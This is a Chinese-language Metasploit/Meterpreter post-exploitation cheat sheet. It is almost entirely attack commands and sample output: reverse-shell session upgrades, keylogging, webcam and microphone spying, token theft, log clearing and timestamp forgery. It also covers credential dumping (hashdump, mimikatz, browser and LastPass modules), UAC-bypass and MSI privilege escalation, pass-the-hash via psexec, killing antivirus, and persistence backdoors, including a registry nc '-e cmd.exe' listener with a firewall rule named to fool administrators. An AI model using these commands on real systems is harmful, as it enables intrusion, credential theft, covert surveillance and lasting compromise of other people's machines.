meterpreter

低级 shell 升级到 meterpreter

1
2
3
4
5
6
7
8
9
10
11
12
13
msf5 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf5 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf5 post(multi/manage/shell_to_meterpreter) > run

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.99.103:4433
[*] Sending stage (985320 bytes) to 192.168.99.101
[*] Meterpreter session 2 opened (192.168.99.103:4433 -> 192.168.99.101:59582) at 2020-02-24 17:00:18 +0800
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

基础命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
background   # 将当前会话放置后台
sessions # sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
bgrun / run # 执行已有的模块,输入run后按两下tab,列出已有的脚本
info # 查看已有模块信息
getuid # 查看当前用户身份
getprivs # 查看当前用户具备的权限
getpid # 获取当前进程ID(PID)
getenv $PATH # 查看环境变量
sysinfo # 查看目标机系统信息
irb # 开启ruby终端
ps # 查看正在运行的进程
kill <PID值> # 杀死指定PID进程
idletime # 查看目标机闲置时间
reboot / shutdown # 重启/关机
shell # 进入目标机cmd shell

网络信息

1
2
3
4
5
ipconfig/ifconfig  # 查看网络接口信息
netstat –ano # 查看网络连接状态
arp # 查看arp缓冲表
getproxy # 查看代理信息
route # 查看路由表信息

文件操作

1
2
3
4
5
6
7
8
9
10
11
12
13
ls  # 列出当前目录中的文件列表
cd # 进入指定目录
getwd / pwd # 查看当前工作目录
search -d c:\\ -f *.txt # 搜索文件 -d 目录 -f 文件名
cat c:\\123.txt # 查看文件内容
upload /tmp/hack.txt C:\\ # 上传文件到目标机上
download c:\\123.txt /tmp/ # 下载文件到本机上
edit c:\\test.txt # 编辑或创建文件 没有的话,会新建文件
rm C:\\hack.txt # 删除文件
mkdir admin # 只能在当前目录下创建文件夹
rmdir admin # 只能删除当前目录下文件夹
getlwd / lpwd # 查看本地当前目录
lcd /tmp # 切换本地目录

键盘鼠标

1
2
3
4
uictl开关键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标
uictl disable mouse # 禁用鼠标
uictl disable keyboard # 禁用键盘

键盘记录

1
2
3
keyscan_start  # 开始键盘记录
keyscan_dump # 导出记录数据
keyscan_stop # 结束键盘记录

执行文件

1
2
3
4
5
6
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
# -d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行
"-o hack.txt"是payload.exe的运行参数
execute -f bash -i # 创建bash shell进行交互

timestomp 伪造时间戳

1
2
3
4
timestomp C:\\ -h   #查看帮助
timestomp -v C:\\2.txt #查看时间戳
timestomp C:\\2.txt -f C:\\1.txt #将1.txt的时间戳复制给2.txt
timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间

migrate

1
2
3
4
5
migrate进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> # windows 将Meterpreter会话移植到指定pid值进程中
kill <pid值> # 杀死进程

portfwd 端口转发

1
2
3
portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码

sniffer 抓包

1
2
3
4
5
6
7
use sniffer
sniffer_interfaces # 查看网卡
sniffer_start 1 # 选择网卡1开始抓包
sniffer_stats 1 # 查看网卡1状态
sniffer_dump 1 /tmp/wlan1.pcap # 导出pcap数据包
sniffer_stop 1 # 停止网卡1抓包
sniffer_release 1 # 释放网卡1流量

令牌窃取

1
2
steal_token <pid值>   # 从指定进程中窃取token
drop_token # 停止假冒当前的token

网络摄像头

1
2
3
4
5
record_mic  # 音频录制
webcam_chat # 开启视频聊天(对方有弹窗)
webcam_list # 查看摄像头
webcam_snap # 通过摄像头拍照
webcam_stream # 通过摄像头开启视频监控(以网页形式进行监控≈直播)

截屏

1
2
3
screenshot  # 截屏
use espia # 使用espia模块
screengrab # 截屏

清除日志

1
clearav  # 清除windows中的应用程序日志、系统日志、安全日志

后渗透脚本

1
2
3
4
5
6
7
8
9
meterpreter > run -h
Usage: run <script> [arguments]

Executes a ruby script or Metasploit Post module in the context of the
meterpreter session. Post modules can take arguments in var=val format.
Example: run post/foo/bar BAZ=abcd

# run tab两下展示当前meterpreter所有可用脚本
meterpreter > run

添加路由,横向渗透

1
2
3
4
5
6
7
8
9
10
11
12
13
meterpreter > run autoroute -h

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage: run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module

Socks 代理
可参考:https://www.freebuf.com/articles/network/125278.html
只有在目标设备添加完路由后才可以通过 msf 自带的 socks4a 模块进行 socks4 代理转发

1
2
3
4
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 2000
run

各平台通用

提权

1
2
3
4
5
# 利用Metasploit < 4.4版本的'pcap_log'插件提权
run post/multi/escalate/metasploit_pcaplog

# 尝试查找本地提权漏洞
run post/multi/recon/local_exploit_suggester

Gather

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# 收集所有用户ssh凭证
run post/multi/gather/ssh_creds
# 通过 VirusTotal 检查某个文件是不是恶意文件
run post/multi/gather/check_malware REMOTEFILE=/var/www/html/phpinfo.php
# 收集 Mozilla Thunderbird 下载文件的凭证
run post/multi/gather/thunderbird_creds
# 收集 chrome cookies
run post/multi/gather/chrome_cookies
# 收集 tomcat 敏感信息
run post/multi/gather/tomcat_gather
# 收集 DbVisualizer 的 dbvis.xml 记录的敏感信息
run post/multi/gather/dbvis_enum
# 收集 Ubiquiti UniFi 敏感信息
run post/multi/gather/ubiquiti_unifi_backup
# 根据字典枚举子域名
run post/multi/gather/dns_bruteforce DOMAIN=myt0.com NAMELIST=wordlist
# 收集可用的无线网,通过访问google查询物理地址
run post/multi/gather/wlan_geolocate
# dns反查
run post/multi/gather/dns_reverse_lookup
# 关闭指定session,用于收尾工作
run post/multi/general/close
# 收集域名SRV记录
run post/multi/gather/dns_srv_lookup
# 执行任意命令
run post/multi/general/execute COMMAND=id
# 查找所有VirtualBox虚拟机
run post/multi/gather/enum_vbox
# 通过wall或者write发送信息给指定用户
run post/multi/general/wall USERS= MESSAGE=
# 输出系统环境变量
run post/multi/gather/env
# 收集 FileZilla FTP 客户端凭证信息
run post/multi/gather/filezilla_client_cred
# 查找所有VMWare 虚拟机
run post/multi/gather/find_vmx
# 收集firefox凭证
run post/multi/gather/firefox_creds
# 收集所有用户 .gnupg 目录下的凭证信息
run post/multi/gather/gpg_creds
# 从 GRUB bootloader 配置文件收集 GRUB 密码
run post/multi/gather/grub_creds
# 收集jboss管理员密码,适用版本4,5,6
run post/multi/gather/jboss_gather
# 收集jenkins密码
run post/multi/gather/jenkins_gather
# 收集LastPass凭证信息
run post/multi/gather/lastpass_creds
# 从一个文件中读取shell命令并执行
run post/multi/gather/multi_command REOURCE=cmd.txt
# 收集所有用户 settings.xml
run post/multi/gather/maven_creds
# 收集 Pidgin IM 客户端凭证
run post/multi/gather/pidgin_cred
# 使用目标机器ping命令扫描
run post/multi/gather/ping_sweep RHOSTS=192.168.99.1/24
# 收集 Remmina 记录的RDP,VNC凭证
run post/multi/gather/remmina_creds
# 收集 .pgpass or pgpass.conf 中的凭证
run post/multi/gather/pgpass_creds

Manage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 利用Dbvisulaizer命令行执行shell增加一个数据库用户,目前只支持mysql
run post/multi/manage/dbvis_add_db_admin

# 利用Dbvisulaizer命令行查询数据库
run post/multi/manage/dbvis_query QUERY=

# 删除浏览器中HSTS数据库
run post/multi/manage/hsts_eraser

# 执行指定文件内容记录的多个POST模块,记录格式 module arg1=v1,arg2=v2
run post/multi/manage/multi_post

# 使用目标机器上的 open 或者 xdg-open这样的命令(即默认打开)打开一个URI
run post/multi/manage/open URI=

# 播放youtube视频
run post/multi/manage/play_youtube VID=

# 记录音频信息,对于非windows平台,请使用java meterpreter
run post/multi/manage/record_mic

# 开启或关闭屏幕记录
run post/multi/manage/screensaver

# 设置桌面背景
run post/multi/manage/set_wallpaper

# 使用目标系统自带的脚本程序创建一个反向TCP shell
run post/multi/manage/system_session

# 上传并执行
run post/multi/manage/upload_exec LPATH=shell RPATH=/tmp/shell ARGS=参数

# 创建zip压缩,linux上会使用zip,windows上会使用7zip
run post/multi/manage/zip

# 通过一系列端口创建TCP或UDP通道,可用于探测防火墙规则
run post/multi/recon/multiport_egress_traffic

# 测试当前用户的sudo命令及配置,对于每个命令会测试权限要求
run post/multi/recon/sudo_commands

linux

Gather

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 检查是不是容器
run post/linux/gather/checkcontainer
# 检查是不是虚拟机
run post/linux/gather/checkvm
# 枚举可以使用的命令
run post/linux/gather/enum_commands
# 收集配置文件
run post/linux/gather/enum_configs
# 枚举NagiosXI凭证
run post/linux/gather/enum_nagios_xi
# 收集网络,防火墙,DNS,SSH,网卡等信息
run post/linux/gather/enum_network
# 收集防护软件的信息
run post/linux/gather/enum_protections
# 收集无线网络凭证,需要root权限
run post/linux/gather/enum_psk
# 收集系统信息,包括用户,安装软件,运行服务,定时脚本,磁盘信息,log文件,setuid/setgid,CPU漏洞
run post/linux/gather/enum_system
# 收集history文件信息,包括.ash_history,.bash_history各种shell,mysql,psql,vim等
run post/linux/gather/enum_users_history
# 收集xchat的配置文件,凭证等
run post/linux/gather/enum_xchat
# 收集当前用户gnome-commander记录的明文密码
run post/linux/gather/gnome_commander_creds
# 使用libgnome-keyring收集当前用户网络密码,需要root权限运行
run post/linux/gather/gnome_keyring_dump
# 导出linux系统上所有的密码hash,需要root权限运行
run post/linux/gather/hashdump
# 收集 /etc/fstab 中 mount.cifs/mount.smbfs 记录的凭证信息
run post/linux/gather/mount_cifs_creds
# 收集openvpn进程的凭证信息
run post/linux/gather/openvpn_credentials
# 收集phpmyadmin数据库凭证信息
run post/linux/gather/phpmyadmin_credsteal
# 收集pptp vpn 客户端,服务端,密码信息
run post/linux/gather/pptpd_chap_secrets
# 收集tor隐藏服务配置信息,根据查找到的torrc文件搜索,需要root权限运行
run post/linux/gather/tor_hiddenservices

Manage

1
2
3
4
5
6
7
8
9
10
# DNS欺骗
run post/linux/manage/dns_spoofing
# 运行一个 Pseudo-Shell
run post/linux/manage/pseudo_shell
# 下载并运行某个程序
run post/linux/manage/download_exec
# 添加一个ssh key到指定的用户(或者全部用户),用于权限维持
run post/linux/manage/sshkey_persistence
# 移除所有iptables规则
run post/linux/manage/iptables_removal

windows

命令列表

很多 meterpreter 自带的脚本命令已经废弃,替换为 post 模块。

search type:post windows 查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
run arp_scanner -r 192.168.99.1/24  # 利用arp进行存活主机扫描

# 检查是否是虚拟机 请使用 post/windows/gather/checkvm
run checkvm

# 获取用户hash
run credcollect -p <opt> The SMB port used to associate credentials.

# 获取域管理账户列表
run domain_list_gen

# 从最近文档的.lnk文件收集信息
run dumplinks

# 已废弃,请使用multi_meter_inject
run duplicate

# 已废弃,请使用 post/windows/gather/enum_chrome
run enum_chrome

# 已废弃,请使用 post/windows/gather/enum_firefox
run enum_firefox

# 列出所有登录用户, 请使用 post/windows/gather/enum_logged_on_users
run enum_logged_on_users

# 枚举Powershell和WSH配置,请使用 post/windows/gather/enum_powershell_env
run enum_powershell_env

# 列出putty配置,请使用 post/windows/gather/enum_putty_saved_sessions
run enum_putty

# 列出共享目录信息,请使用 post/windows/gather/enum_shares
run enum_shares

# 列出 VMware 虚拟机及相关软件
run enum_vmware

# windows事件日志管理,查询
run event_manager

# 收集config信息,请使用 post/windows/gather/enum_files
run file_collector

# 列出windows已安装软件,请使用 post/windows/gather/enum_applications.
run get_application_list

# 获取环境变量 请使用 post/multi/gather/env
run get_env

# 收集filezilla凭证,请使用 post/windows/gather/credentials/filezilla_server
run get_filezilla_creds

# 已废弃,请使用 post/multi/manage/autoroute
run get_local_subnets

# 获取已配置的服务用户名密码
run get_pidgin_creds

# 收集snmp,请使用 post/windows/gather/enum_snmp
run get_valid_community

# 管理fireall,av等,请使用 post/windows/manage/killav
run getcountermeasure

# 开启RDP,请使用 post/windows/manage/enable_rdp
run getgui

# 开启telnet
run gettelnet -u <username> -p <password>

# 收集VNC凭证,请使用 post/windows/gather/credentials/vnc
run getvncpw

# 获取SMB hash,请使用 post/windows/gather/smart_hashdump
run hashdump

# 写入hosts文件,请使用 post/windows/manage/inject_host
run hostsedit

# 开启键盘记录,请使用 post/windows/capture/keylog_recorder,需要system
run keylogrecorder

# 请使用 post/windows/manage/killav
run killav

# 设置开机启动payload,请使用 exploit/windows/local/persistence
run metsvc

# 将当前session转移到另一个进程,请使用 post/windows/manage/migrate
run migrate

# 执行命令并返回
run multi_console_command -c ls

# 植入reverse tcp meterpreter到一个指定进程
run multi_meter_inject

# 执行文件中的多个命令,每条命令一行,也可以 -c "ls;pwd;" 执行多个
run multicommand

# 执行包含多个meterpreter脚本指令或后渗透脚本的文件,每条命令一行,也可以 -c "enum_chrome;enum_firefox" 执行多个
run multiscript

# dns,ping 枚举
run netenum

# 捕获网卡网络数据包,请使用 post/windows/manage/rpcapd_start
run packetrecorder

# 熊猫杀软2007提权漏洞
run panda_2007_pavsrv51

# 请使用 exploit/windows/local/persistence
run persistence

# 请使用 exploit/windows/local/service_permissions,尝试利用替换服务从现有administrator权限提升至system
run pml_driver_config

# 通过powershell导出sam hash
run powerdump

# 请使用 post/windows/gather/enum_prefetch,该模块从WinXP,Win2k3和Win7系统收集预取文件信息以及相关注册表项的当前值。从每个预取文件中,我们将收集上次执行的文件时间(转换为utc),文件路径哈希,运行计数,文件名和执行路径。
run prefetchtool

# 查看进程内存 run process_memdump putty.exe,run process_memdump -p [pid]
run process_memdump

# 请使用 post/windows/gather/wmic_command,执行wmic命令
run remotewinenum
run scheduleme

# 请使用 exploit/windows/local/ms10_092_schelevator 用于提权
run schelevator
run schtasksabuse

# 收集共享,注册表,密码hash
run scraper

# 请使用 post/windows/escalate/screen_unlock,通过注入代码到lsass.exe实现解锁,可能导致死机或重启
run screen_unlock

# 请使用 post/windows/gather/screen_spy,定时截取屏幕,以判断是否有人在使用
run screenspy

# 请使用 post/windows/gather/enum_files,搜索任意文件
run search_dwld

# 服务管理
run service_manager

# 请使用 exploits/windows/local/service_permissions,利用服务替换进行权限提升
run service_permissions_escalate

# 记录一定时长的音频
run sound_recorder
run srt_webdrive_priv

# 请使用 post/windows/manage/download_exec,下载文件,可以指定下载完后立即执行
run uploadexec

# 尝试触发一个久远的漏洞 VirtualBox DoS http://milw0rm.com/exploits/9323
run virtualbox_sysenter_dos

# 绕过 Mcafee VirusScan Enterprise v8.7.0i+,上传一个payload使其开机运行,需要administrator
run virusscan_bypass

# 启动 vnc 服务
run vnc

# 请使用 post/windows/manage/webcam,检测摄像头设备,拍照
run webcam
run winbf

# 自动化执行一些检测脚本
run winenum

# 请使用 post/windows/gather/wmic_command
run wmic

post:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
run post/multi/gather/env  # 获取用户环境变量
run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户
run post/linux/gather/checkvm # 是否虚拟机
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/forensics/enum_drives # 查看存储器信息
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息
run post/windows/gather/enum_ie # 获取IE缓存
run post/windows/gather/enum_firefox # 获取firefox缓存
run post/windows/gather/enum_chrome # 获取Chrome缓存
run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞
run post/windows/gather/enum_patches # 获取补丁信息
run post/windows/gather/enum_domain # 查找域控
run post/windows/gather/enum_snmp # 获取snmp团体名称
run post/windows/gather/credentials/vnc # 获取vnc密码
run post/windows/wlan/wlan_profile # 用于读取目标主机WiFi密码
run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot
run post/windows/manage/killav 关闭杀毒软件

提权

use post/windows/escalate/

getsystem

1
meterpreter > getsystem

根据补丁提权

1
2
3
4
5
6
run post/windows/gather/enum_patches  #查看补丁信息
background
search MS10-015
use exploit/windows/local/ms10_015_kitrap0d
set session 8
run

绕过 UAC 提权

使用 bypassuac 提权
msf 内置一些 bypassuac 脚本,原理不同,使用方法类似,执行后返回一个新的会话,再次执行 getsystem 即可提权

1
2
3
4
5
6
7
8
9
10
11
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs
使用命令getsystem提权失败,然后利用bypassuac来提权,这里利用exploit/windows/local/bypassuac模块(32位、64位都有效)

use exploit/windows/local/bypassuac
set session 1
run

使用 RunAs 提权

该方法利用exploit/windows/local/ask模块(32 位、64 位都有效),创建一个可执行文件并在目标机上发起一个提升权限请求的程序,触发系统 UAC,提示用户是否要继续,如果用户选择“是”,则会返回一个高权限的 meterpreter shell。

1
2
3
4
5
use exploit/windows/local/ask
set filename update.exe # 设置反弹程序名称
set session 1
run
# 输入run命令以后会在目标机上弹出UAC,提示用户是否允许,选择是就会返回一个高权限的meterpreter shell。

注意事项:
使用 RunAs 模块进行提权时,系统当前用户须在管理员组或者知道管理员的密码,用户账户控制程序 UAC 设置则没有要求。使用 RunAs 模块进行提权时,会创建一个可执行文件,为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用 EXE::Custom 选项。

假冒令牌提权

令牌是系统临时密钥,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。一般有两种类型的令牌,一种是 Delegation Tokens,也就是授权令牌,它支持交互式登录(例如远程桌面登陆登录)。还有一种是 Impersonation Tokens,也就是模拟令牌,它是非交互的会话(例如访问文件共享)。

1
2
3
4
5
use incognito    # 加载窃取令牌模块
list_tokens -u # 查看可用的用户令牌
list_tokens -g # 查看可用的用户组令牌
impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
rev2self #返回原始token

利用 AlwaysInstallElevated 提权

AlwaysInstallElevated 是一个策略设置。微软允许非授权用户以 SYSTEM 权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的 MSI 文件就可以进行管理员权限的提升。

查看 AlwaysInstallElevated 是否被定义

不过利用此方法有个前提条件,需要有两个注册表的键值为 1,我们可以在 cmdshell 下查看 AlwaysInstallElevated 是否被定义

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果需要开启可以选择以下方法:

  1. 打开组策略编辑器(运行框输入 gpedit.msc)
  2. 组策略->计算机配置->管理模版->Windows 组件->Windows Installer->永远以高特权进行安装:选择启用
  3. 组策略->用户配置->管理模版->Windows 组件->Windows Installer->永远以高特权进行安装:选择启用

生成 MSI 安装文件

利用 msfvenom 命令生成一个在目标机上增加管理员用户的 MSI 安装文件,这里密码要设置为强密码,否则会报错。

1
2
3
4
5
6
msfvenom -p windows/adduser USER=msi [email protected]@ -f msi -o msi.msi
上传并执行MSI文件
upload msi.msi c:\\Users\\test # 部分目录由于权限原因可能上传失败
msiexec /quiet /qn /i msi.msi # /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序
net localgroup administrators
# 执行成功后查看管理员组发现用户已经添加成功

注意:
由于是 msf 生成的 msi 文件,所以默认会被杀毒软件拦截,需要做好免杀

窃取 hash

hashdump

1
2
hashdump
run post/windows/gather/smart_hashdump

mimikatz

1
2
3
4
5
6
7
load mimikatz # 加载mimikatz模块
msv # 获取用户和hash值
kerberos # 获取内存中的明文密码信息
wdigest # 获取内存中的明文密码信息
mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
mimikatz_command -f samdump::hashes # 执行用户hash

kiwi

kiwi 是利用的 mimikatz 扩展,运行需要 SYSTEM 权限

1
2
load kiwi
creds_all

哈希传递

利用 hashdump 得到用户的 hash 后可利用 psexec 模块进行哈希传递攻击。
使用 psexec 的前提:SMB 服务必须开启,也就是开启 445 端口;Admin\$可以访问。

1
2
3
4
5
6
7
8
9
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf**4ee:3db**678
set SMBDOMAIN WORKGROUP # 域用户需要设置SMBDOMAIN
run

RDP

enable_rdp 脚本

通过 enable_rdp 脚本将用户添加到远程桌面用户组和管理员用户组

1
2
3
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将3389端口转发到6667

注册表操作

注册表基本命令

1
2
3
4
5
6
7
8
reg –h  # 查看帮助
-k 注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值

利用注册表添加 nc 后门

1.编辑注册表,添加 nc 到系统启动项中,形成后门程序。

1
2
3
4
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上传nc到目标主机
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚举注册表run下的键值
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 设置键值 -v 键的名称 -d 键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc # 查看test_nc的键值

2.设置防火墙允许通过 443 端口(如果目标主机开启防火墙,没有设置相应的规则可能会导致连接失败。)

1
2
3
shell
netsh firewall show opmode # 查看防火墙状态
netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL # 添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。)

3.待目标主机重启后,自启 nc 程序,然后我们利用 nc 连接即可

后门植入

Persistence(通过启动项安装)

1
2
3
4
5
6
7
8
9
run persistence –h  # 查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-L:后门传到远程主机的位置默认为%TEMP%
-i:设置反向连接间隔时间为5秒
-p:设置反向连接的端口号
-r:设置反向连接的ip地址

Metsvc(通过服务安装)植入后门

1
2
3
4
5
6
7
8
9
10
run metsvc -h   # 查看帮助
run metsvc -A # 自动安装后门
run metsvc -r # 删除后门

连接后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost 192.168.183.169
set lport 31337
run

windows cmd 常用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
whoami  # 当前权限
quser # 查询当前在线的管理员
net user # 查看存在用户
net user 用户名 密码 /add # 添加用户和对应密码
net localgroup 用户组名 用户名 /add # 将指定用户添加到指定用户组
netstat -ano # 查询当前计算机中网络连接通信情况,LISTENING表示该端口处于监听状态;ESTABLISHED表示该端口处于工作(通信)状态
systeminfo # 查看当前计算机中的详细情况
tasklist /svc # 查看每个进程所对应的服务
taskkill /f /im 程序名称 # 结束某个指定名称的程序
taskkill /f /PID ID # 结束某个指定PID的进程
tasklist | findstr "字符串" # 查找输出结果中指定的内容
logoff # 注销某个指定用户的ID
shutdown -r # 重启当前计算机
netsh adcfirewall set allprofiles state off # 关闭防火墙

参考:https://xz.aliyun.com/t/6400